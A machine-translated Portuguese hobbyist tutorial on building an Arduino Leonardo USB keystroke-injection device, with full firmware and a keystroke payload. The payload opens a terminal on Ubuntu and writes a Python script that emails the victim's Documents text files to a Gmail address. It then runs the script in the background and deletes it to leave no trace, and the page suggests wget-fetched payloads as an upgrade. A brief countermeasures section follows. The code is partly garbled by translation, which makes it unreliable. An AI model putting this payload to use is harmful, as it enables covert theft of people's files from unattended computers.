Manufaturação industrial
Internet das coisas industrial | Materiais industriais | Manutenção e reparo de equipamentos | Programação industrial |
home  MfgRobots >> Manufaturação industrial >  >> Manufacturing Technology >> Processo de manufatura

Demonstração de exploração do teclado Arduino (HID) e prevenção

Componentes e suprimentos

Arduino Leonardo
× 1
Leitor de cartão SD
× 1
Cartão SD
× 1
Botão de 3 pinos (com resistor)
× 1
Fios de jumpers (genérico)
× 1
Cabo USB-A para Micro-USB
× 1

Sobre este projeto




Neste projeto vamos usar um Arduino Leonardo para simular um possível ataque USB usando HID (dispositivo de interface humain).

Criei este tutorial não para ajudar os hackers, mas para mostrar alguns perigos reais e como se proteger deles. Este dispositivo não é um dispositivo que pode ser usado em qualquer plataforma por hackers, é mais uma prova de conceito em detalhes.

Vamos aprender o seguinte:
  • como usar o arduino leonardo para emular o teclado
  • como ler dados de cartões SD
  • como criar um script Python que verifica arquivos e os envia por e-mail
  • como se proteger de dispositivos de hacking USB





Etapa 1:Materiais


Partes:

1 Arduino leonardo

2. leitor de cartão micro USB

3. alguns GB de cartão SD

4. botão como este (VCC, Terra e sinal)

5. cabos jumper fêmea-macho e fêmea-fêmea

6. micro USB para cabo USB





Etapa 2:construir o dispositivo





Antes da instrução de construção, vamos revisar o princípio de funcionamento:


Arduino leonardo pode se comportar como um dispositivo de interface humana (HID) e, portanto, pode emular mouse e teclado. Vamos usar este recurso para abrir um terminal (em UBUNTU linux) e escrever um pequeno script que irá acessar a pasta / Documents dentro dos arquivos copy.txt da pasta home do usuário e enviá-los para alguém. Se você quiser saber mais detalhes, verifique a próxima etapa.

Por ser um dispositivo de demonstração, as coisas são realmente simples, não vamos soldar nada.





Instruções de construção


Antes de começarmos, verifique os arquivos anexados, anexei esquemas estranhos e todos os arquivos necessários

1 Monte os componentes:

* conecte o cabo micro USB no arduino

* conecte a chave interruptora ao arduino (aterramento, vcc e módulo de saída ao D8)

* conecte o leitor de cartão ao arduino (usando o cabeçalho ICSP). O Arduino leonardo não tem o cabeçalho ICSP conectado a pinos digitais, portanto, você precisará conectar o leitor de cartão ao cabeçalho ICSP. Você pode encontrar alguns desenhos do ICSP aqui:https://learn.sparkfun.com/tutorials/installing-an .... Conecte o pino SS ao pino digital 10

2. obtenha o código do Arduino , você pode clonar meu repositório arduino no github:https://github.com/danionescu0/arduino e ir para projects / keyboard_exploit ou obtê-lo abaixo:
  #include "Keyboard.h" #include "SPI.h" #include "SD.h" String filenameOnCard ="hack.txt"; String sleepCommandStartingPoint ="Sleep ::"; String commandStartingPoint ="Comando ::"; int delayBetweenCommands =10; const int buttonPin =8; const int chipSelect =10; int anteriorButtonState =HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("O cartão falhou ou não está presente!"); Retorna; }} void loop () {int buttonState =digitalRead (buttonPin); if ((buttonState! =previousButtonState) &&(buttonState ==HIGH)) {sdFileToKeyboard (); Serial.println ("Carregado!"); atraso (500); } previousButtonState =buttonState;} void sdFileToKeyboard () {Arquivo dataFile =SD.open (nomedoarquivoOnCard); if (! dataFile) {Serial.println ("O nome do arquivo especificado não está presente no cartão SD, verifique filenameOnCard!"); } String line; while (dataFile.available ()) {line =dataFile.readStringUntil ('\ n'); Serial.println (linha); sendToKeyboard (linha); } dataFile.close ();} void sendToKeyboard (String line) {String workingLine =line; if (workingLine.indexOf (sleepCommandStartingPoint)! =-1) {sleepFor (linha); Retorna; } if (workingLine.indexOf (commandStartingPoint) ==-1) {Serial.print ("Texto:"); Serial.println (linha); Keyboard.println (linha); pressione Enter(); Retorna; } Serial.println ("Comando:"); int charPosition =commandStartingPoint.length (); int lineLength =line.length (); workingLine + =","; while (workingLine! ="") {workingLine =workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition =workingLine.indexOf (","); String command =workingLine.substring (0, specialCommandDelimiterPosition); charPosition =specialCommandDelimiterPosition + 1; if (comando! ="") {Serial.print ("Comando encontrado:"); Serial.println (comando); Keyboard.press (getCommandCode (command)); atraso (delayBetweenCommands); }} Keyboard.releaseAll (); delay (delayBetweenCommands);} void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll ();} void sleepFor (String line) {int sleepAmount =line.substring (sleepCommandStartingPoint.length (), line.length ()). ToInt (); Serial.print ("Suspenso por:"); Serial.println (sleepAmount); delay (sleepAmount);} char getCommandCode (String text) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char code =textCharacters [0]; código =(texto =="KEY_LEFT_CTRL")? KEY_LEFT_CTRL:código; código =(texto =="KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT:código; código =(texto =="KEY_LEFT_ALT")? KEY_LEFT_ALT:código; código =(texto =="KEY_UP_ARROW")? KEY_UP_ARROW:código; código =(texto =="KEY_DOWN_ARROW")? KEY_DOWN_ARROW:código; código =(texto =="KEY_LEFT_ARROW")? KEY_LEFT_ARROW:código; código =(texto =="KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW:código; código =(texto =="KEY_RIGHT_GUI")? KEY_RIGHT_GUI:código; código =(texto =="KEY_BACKSPACE")? KEY_BACKSPACE:código; código =(texto =="KEY_TAB")? KEY_TAB:código; código =(texto =="KEY_RETURN")? KEY_RETURN:código; código =(texto =="KEY_ESC")? KEY_ESC:código; código =(texto =="KEY_INSERT")? KEY_INSERT:código; código =(texto =="KEY_DELETE")? KEY_DELETE:código; código =(texto =="KEY_PAGE_UP")? KEY_PAGE_UP:código; código =(texto =="KEY_PAGE_DOWN")? KEY_PAGE_DOWN:código; código =(texto =="KEY_HOME")? KEY_HOME:código; código =(texto =="KEY_END")? KEY_END:​​código; código =(texto =="KEY_CAPS_LOCK")? KEY_CAPS_LOCK:código; código =(texto =="KEY_F1")? KEY_F1:código; código =(texto =="KEY_F2")? KEY_F2:código; código =(texto =="KEY_F3")? KEY_F3:código; código =(texto =="KEY_F4")? KEY_F4:código; código =(texto =="KEY_F5")? KEY_F5:código; código =(texto =="KEY_F6")? KEY_F6:código; código =(texto =="KEY_F7")? KEY_F7:código; código =(texto =="KEY_F8")? KEY_F8:código; código =(texto =="KEY_F9")? KEY_F9:código; código =(texto =="KEY_F10")? KEY_F10:código; código =(texto =="KEY_F11")? KEY_F1:código; código =(texto =="KEY_F12")? KEY_F2:código; 

código de retorno;}


3. Faça o upload do código para o arduino, certifique-se de selecionar a taxa de transmissão de 9600, a porta serial e o arduino leonardo

4. Formate o cartão SD usando FAT16 ou FAT32

5. Se você clonou o repositório github acima, cópia o arquivo hack.txt no cartão, se não, o arquivo está listado abaixo:
  Command ::KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep ::500vi hack.pySleep ::300Command ::KEY_INSERTimport smtplibimport glob, osfrom os.path import expanda usuariofrom email.MIMEMultipart import MIMEMultipartfrom email.MIMEBase import MIME email.Utils import COMMASPACE, formatdatefrom email import Encoderssmtp_user ='sender_gmail_address'smtp_pass =' ​​sender_gmail_password'to_address ='receiver_address'scan_documents_location =' Documents'subject =body ='Arquivos do computador hackeado n'rom:' {1} \ nSubject:{2} \ n'.format (to_address, smtp_user, subject) def sendMail (to, subject, text, files =[]):msg =MIMEMultipart () msg ​​['From'] =smtp_user msg ['Para'] =COMMASPACE.join (to) msg ​​['Date'] =formatdate (localtime =True) msg ​​['Assunto'] =assunto msg.attach (MIMEText (texto)) para arquivo em arquivos:part =MIMEBase ('aplicativo', "fluxo de octeto") part.set_payload (abrir (arquivo, "rb"). read ()) Encoders.encode_base64 (part) part.add_header ('Content-Disposition', 'acessório; filename ="% s" '% os.path.basename (file)) msg.attach (part) server =smtplib.SMTP (' smtp.gmail.com:587 ') server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit () sendMail ([to_address], subject, body, glob.glob ("{0} / {1} / *. txt" .format (expanduser ("~"), scan_documents_location))) Sleep ::50Command ::KEY_ESCSleep ::100:xSleep ::500nohup python hack.py &Sleep ::700rm -rf hack.pySleep ::400Command ::KEY_LEFT_ALT, KEY_F4  

6. Edite as seguintes linhas:
  smtp_user ='sender_email_addr'smtp_pass =' ​​sender_password'to_address ='receiver_address'  

E substitua por seus endereços de e-mail

7. Remova o cartão e insira-o no leitor de cartão Arduino
sketch.fzz keyboard_exploit.ino hack.txt hack.py





Etapa 3:como funciona em detalhes





Como o ataque funcionará:


1. Quando o botão é pressionado, o Leonardo lê o cartão SD usando um leitor de cartão SD. Um arquivo especial contendo teclas e combinações de teclas estará presente no cartão. O nome do arquivo é "hack.txt".

O arquivo pode conter texto bruto e será passado para o teclado exatamente como está.

Também pode conter comandos especiais como "Sleep ::" e "Command ::".

Uma linha como:

Sleep ::200 significa um sono de 200 ms

Uma linha como:

Command ::KEY_LEFT_CTRL, KEY_LEFT_ALT, t significa ctrl pressionado à esquerda, alt pressionado à esquerda, t pressionado e tudo liberado

Você pode verificar todas as chaves especiais aqui:https://www.arduino.cc/en/Reference/KeyboardModif ...

2. Leonardo lerá linha por linha, interpretará os comandos e emulará as teclas do teclado. O arquivo "hack.txt" contém uma combinação de chaves que faz o seguinte (para UBUNTU linux):

uma. abre um terminal (CTRL + ALT + T)

b. abre um arquivo python para criação usando vi (escreve "vi hack.py"

c. escreve um script python que coleta todos os arquivos de texto dentro da pasta inicial de documentos e os envia para um endereço do Gmail especificado

d. executa o arquivo em segundo plano ("nohup python hack.py &")

e. exclui o arquivo (rm -rf hack.py)

f. fecha o terminal (ALT + F4)

Tudo isso em poucos segundos e não deixa rastros.





Melhorias e solução de problemas


* Você deve ter notado que, depois de abrir um terminal, estou escrevendo o arquivo python. a melhor maneira de fazer isso é hospedá-lo em algum lugar e baixá-lo usando o comando "wget ​​some_url" e, em seguida, renomeá-lo para hack.py

* Também podemos baixar ou executar um exploit pronto para o sistema operacional de destino

* O wi-fi pode ser adicionado ao módulo e os hacks podem ser carregados via WIFI

* você pode usar o arduino micro (que é muito menor) e incorporar código de exploração nele (para torná-lo menor)





Limitações


1. Como o dispositivo simulado (teclado e mouse) não tem nenhum feedback, não sabemos o que acontecerá depois de emitir um comando que significa que precisamos usar atrasos. Por exemplo, estou emitindo um comando para abrir o terminal, mas não sei quando ele será realmente aberto, então preciso especificar um atraso arbitrário para garantir que os caracteres digitados depois não sejam perdidos.

2. Podemos encontrar problemas de permissão, como não ter acesso à porta USB ou a permissão para instalar algo

3. A velocidade de digitação não é tão boa no Leonardo

4. Funcionará apenas em um sistema operacional direcionado (em nosso caso UBUNTU linux)

Na próxima etapa, tentarei encontrar maneiras de explorar essas limitações para evitar que nosso computador seja hackeado





Etapa 4:Contramedidas


1. Desativando portas USB

- para Windows, você pode verificar este tutorial:http://www.thewindowsclub.com/disable-enable-usb-w ...

2. Dispositivos USB na lista de permissões:

- para Windows:https://superuser.com/questions/1152012/block-unbl ...

2. Bloqueie o seu computador quando não estiver ausente

3. Não faça login como root (requer senhas para instalar qualquer coisa)

4. Mantenha-se atualizado (atualizações automáticas ativadas)

Código

  • keyboard_exploit.ino
  • Snippet de código # 1
  • Snippet de código # 2
keyboard_exploit.ino Arduino
Erro ao abrir o arquivo.
Snippet de código # 1 Texto simples
 #include "Keyboard.h" #include "SPI.h" #include "SD.h" String filenameOnCard ="hack.txt"; String sleepCommandStartingPoint ="Sleep ::"; String commandStartingPoint ="Command ::"; int delayBetweenCommands =10; const int buttonPin =8; const int chipSelect =10; int anteriorButtonState =HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("O cartão falhou ou não está presente!"); Retorna; }} void loop () {int buttonState =digitalRead (buttonPin); if ((buttonState! =previousButtonState) &&(buttonState ==HIGH)) {sdFileToKeyboard (); Serial.println ("Carregado!"); atraso (500); } previousButtonState =buttonState;} void sdFileToKeyboard () {Arquivo dataFile =SD.open (nomedoarquivoOnCard); if (! dataFile) {Serial.println ("O nome do arquivo especificado não está presente no cartão SD, verifique filenameOnCard!"); } String line; while (dataFile.available ()) {line =dataFile.readStringUntil ('\ n'); Serial.println (linha); sendToKeyboard (linha); } dataFile.close ();} void sendToKeyboard (String line) {String workingLine =line; if (workingLine.indexOf (sleepCommandStartingPoint)! =-1) {sleepFor (linha); Retorna; } if (workingLine.indexOf (commandStartingPoint) ==-1) {Serial.print ("Texto:"); Serial.println (linha); Keyboard.println (linha); pressione Enter(); Retorna; } Serial.println ("Comando:"); int charPosition =commandStartingPoint.length (); int lineLength =line.length (); workingLine + =","; while (workingLine! ="") {workingLine =workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition =workingLine.indexOf (","); String command =workingLine.substring (0, specialCommandDelimiterPosition); charPosition =specialCommandDelimiterPosition + 1; if (comando! ="") {Serial.print ("Comando encontrado:"); Serial.println (comando); Keyboard.press (getCommandCode (command)); atraso (delayBetweenCommands); }} Keyboard.releaseAll (); delay (delayBetweenCommands);} void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll ();} void sleepFor (String line) {int sleepAmount =line.substring (sleepCommandStartingPoint.length (), line.length ()). ToInt (); Serial.print ("Suspenso por:"); Serial.println (sleepAmount); delay (sleepAmount);} char getCommandCode (String text) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char code =textCharacters [0]; código =(texto =="KEY_LEFT_CTRL")? KEY_LEFT_CTRL:código; código =(texto =="KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT:código; código =(texto =="KEY_LEFT_ALT")? KEY_LEFT_ALT:código; código =(texto =="KEY_UP_ARROW")? KEY_UP_ARROW:código; código =(texto =="KEY_DOWN_ARROW")? KEY_DOWN_ARROW:código; código =(texto =="KEY_LEFT_ARROW")? KEY_LEFT_ARROW:código; código =(texto =="KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW:código; código =(texto =="KEY_RIGHT_GUI")? KEY_RIGHT_GUI:código; código =(texto =="KEY_BACKSPACE")? KEY_BACKSPACE:código; código =(texto =="KEY_TAB")? KEY_TAB:código; código =(texto =="KEY_RETURN")? KEY_RETURN:código; código =(texto =="KEY_ESC")? KEY_ESC:código; código =(texto =="KEY_INSERT")? KEY_INSERT:código; código =(texto =="KEY_DELETE")? KEY_DELETE:código; código =(texto =="KEY_PAGE_UP")? KEY_PAGE_UP:código; código =(texto =="KEY_PAGE_DOWN")? KEY_PAGE_DOWN:código; código =(texto =="KEY_HOME")? KEY_HOME:código; código =(texto =="KEY_END")? KEY_END:​​código; código =(texto =="KEY_CAPS_LOCK")? KEY_CAPS_LOCK:código; código =(texto =="KEY_F1")? KEY_F1:código; código =(texto =="KEY_F2")? KEY_F2:código; código =(texto =="KEY_F3")? KEY_F3:código; código =(texto =="KEY_F4")? KEY_F4:código; código =(texto =="KEY_F5")? KEY_F5:código; código =(texto =="KEY_F6")? KEY_F6:código; código =(texto =="KEY_F7")? KEY_F7:código; código =(texto =="KEY_F8")? KEY_F8:código; código =(texto =="KEY_F9")? KEY_F9:código; código =(texto =="KEY_F10")? KEY_F10:código; código =(texto =="KEY_F11")? KEY_F1:código; código =(texto =="KEY_F12")? KEY_F2:código; 

código de retorno;}

Snippet de código # 2 Texto simples
 Command ::KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep ::500vi hack.pySleep ::300Command ::KEY_INSERTimport smtplibimport glob, osfrom os.path import expand userfrom email.MIMEMultipart import MIMEMultipartfrom email.Mextsefext import MIME import COMMASPACE, formatdatefrom email import Encoderssmtp_user ='sender_gmail_address'smtp_pass =' ​​sender_gmail_password'to_address ='receiver_address'scan_documents_location =' Documents'subject =body ='Arquivos do computador hackeado'header =' Para:{0} \ nSubject:{2} \ n'.format (to_address, smtp_user, subject) def sendMail (to, subject, text, files =[]):msg =MIMEMultipart () msg ​​['From'] =smtp_user msg ['To '] =COMMASPACE.join (to) msg ​​[' Date '] =formatdate (localtime =True) msg ​​[' Assunto '] =assunto msg.attach (MIMEText (texto)) para arquivo em arquivos:part =MIMEBase (' aplicativo ', "octet-stream") part.set_payload (open (file, "rb"). read ()) Encoders.encode_base64 (part) part.add_header (' Content-Disposition ',' attac hment; filename ="% s" '% os.path.basename (file)) msg.attach (part) server =smtplib.SMTP (' smtp.gmail.com:587 ') server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit () sendMail ([to_address], subject, body, glob.glob ("{0} / {1} / *. txt" .format (expanduser ("~"), scan_documents_location))) Sleep ::50Command ::KEY_ESCSleep ::100:xSleep ::500nohup python hack.py &Sleep ::700rm -rf hack.pySleep ::400Command ::KEY_LEFT_ALT, KEY_F4  
Github
https://github.com/danionescu0/arduinohttps://github.com/danionescu0/arduino

Esquemas

sketch_D4S1ftXkTU.fzz
Repositório Arduino
O esboço está dentro de projects / keyboard_exploithttps://github.com/danionescu0/arduino

Processo de manufatura

  1. Animação de LCD e jogos
  2. Faça você mesmo voltímetro usando Arduino e Smartphone
  3. Registrador de dados de temperatura e umidade
  4. Arduino + LEDs + Teclado MIDI + MuseScore =Piano Tutor
  5. Comunicação Python3 e Arduino
  6. Arduino e autômatos celulares baseados em OLED
  7. Rádio FM usando Arduino e RDA8057M
  8. Sistema de atendimento baseado em Arduino e planilha do Google
  9. Matriz de teclado de prototipagem de 64 teclas para Arduino
  10. Calculadora Arduino